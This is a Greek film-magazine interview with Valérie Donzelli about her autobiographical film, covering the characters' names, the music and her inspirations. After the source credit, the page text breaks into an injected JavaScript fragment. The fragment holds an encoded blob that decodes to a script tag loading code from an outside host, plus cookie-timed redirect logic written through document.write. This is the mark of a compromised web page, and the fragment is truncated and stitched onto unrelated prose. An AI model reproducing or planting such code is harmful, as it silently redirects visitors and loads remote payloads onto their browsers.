Συνέντευξη: Βαλερί Ντονζελί

Παιχνίδια πολέμου

Η πρωταγωνίστρια, σεναριογράφος και σκηνοθέτις του συγκινητικού, βασισμένου στη δική της ιστορία «Πολεμώντας για τη Νίκη», μιλά στον Χρήστο Μήτση για τη μελωδική ελαφρότητα με την οποία κήρυξε και κέρδισε τον κινηματογραφικό πόλεμο.

Aφηγείστε την ιστορία σας, συμπρωταγωνιστείτε μάλιστα με τον Ζερεμί Εκλαΐμ, τον πραγματικό πατέρα του παιδιού σας. Γιατί οι ήρωες ονομάζονται Ρομεό και Ζιλιέτ;
Όλοι ξέρουμε τα ονόματα από τους εραστές της Βερόνα του Σαίξπηρ. Βαφτίζοντάς τους Ρωμαίο και Ιουλιέτα, προστίθεται μια οικουμενική διάσταση στη σχέση τους και το κοινό υποσυνείδητα ταυτίζεται μαζί τους, γνωρίζοντας πως είναι δεμένοι με έναν πολύ ρομαντικό, παντοδύναμο έρωτα. Επιπλέον, αν και η ιστορία βασίζεται σε πραγματικές εμπειρίες, δεν είναι η προσωπική μας ιστορία, αλλά μία ιστορία. Έτσι, από τη δική μας πλευρά, τα ονόματα του Ρωμαίου και της Ιουλιέτας μας επέτρεψαν να πάρουμε τη σωστή απόσταση από τους χαρακτήρες για να κάνουμε την ταινία.

«Ο Πόλεμος Κηρύχτηκε» είναι ο πρωτότυπος τίτλος της ταινίας. Πότε νιώσατε ότι συνέβη αυτό;
Για μένα ο πόλεμος ξεκίνησε όταν έγινα μητέρα.

Το φιλμ διαθέτει ένα εξαιρετικό σάουντρακ, το οποίο «παίζει» σχεδόν καθ’ όλη τη διάρκειά του. Είχατε τα συγκεκριμένα τραγούδια στο νου σας όταν γράφατε το σενάριο;
Αντιμετωπίζω το τραγούδι ως έκφραση καθαρού συναισθήματος. Μουσική και συναίσθημα πηγαίνουν δίπλα δίπλα στην ταινία και, ακριβώς όπως λειτουργούν τα κωμικά στοιχεία, τα τραγούδια επιτρέπουν στον θεατή να πάρει ανάσες στη μέση μιας βαριάς, καταθλιπτικής ιστορίας. Η μουσική, λοιπόν, ήταν βασικό κομμάτι της διαδικασίας κιόλας από την πρώτη στιγμή. Όταν γράφαμε με τον Ζερεμί το σενάριο, μερικές σκηνές άντλησαν έμπνευση κατευθείαν από συγκεκριμένα τραγούδια ή μουσικά κομμάτια.

Αν η κατάληξη της πραγματικής ιστορίας ήταν διαφορετική, θα είχαμε και μια εντελώς διαφορετική ταινία; Ή μήπως δεν θα είχαμε καν ταινία;
Θα ήταν οπωσδήποτε ένα εντελώς διαφορετικό σε ύφος φιλμ, αν και δεν μου πέρασε ποτέ από το νου κάτι τέτοιο, γιατί απλώς δεν συνέβη ποτέ στην αληθινή ζωή. Για μένα καμία άλλη δεν θα μπορούσε να είναι η ταινία που ήθελα να κάνω.

Μπροστά ή πίσω από την κάμερα; Κινηματογράφος ή τηλεόραση;
Όλα τα αγαπώ, αλλά θα έλεγα ότι προτιμώ να στέκομαι πίσω από την κάμερα, γιατί έτσι έχω την ευκαιρία να αφήσω το στίγμα μου μέσα από τη δουλειά μου στο σινεμά.

Όταν στεκόσασταν πίσω από την κάμερα του «Πολεμώντας για τη Νίκη», λοιπόν, ποια ταινία αναφοράς είχατε στο νου σας; Ένα συγκινητικό δράμα ή μια ελαφριά κωμωδία;
Το «Full Metal Jacket».

Πηγή: athinorama.gr
NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘